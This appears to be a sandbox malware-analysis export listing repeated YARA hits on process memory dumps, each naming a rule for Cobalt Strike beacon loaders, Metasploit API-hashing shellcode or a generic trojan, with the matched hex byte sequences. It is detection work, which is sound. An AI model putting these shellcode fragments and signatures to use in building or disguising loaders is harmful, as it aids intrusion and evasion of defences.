00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x12c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x137ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x40820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4088c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x13504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x13a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x12c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x137ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x40820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4088c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x13504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x13a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x12c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x137ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x40820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4088c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x13504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x13a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x12c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x137ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x40820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4088c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x13504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x13a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x13c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x147ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
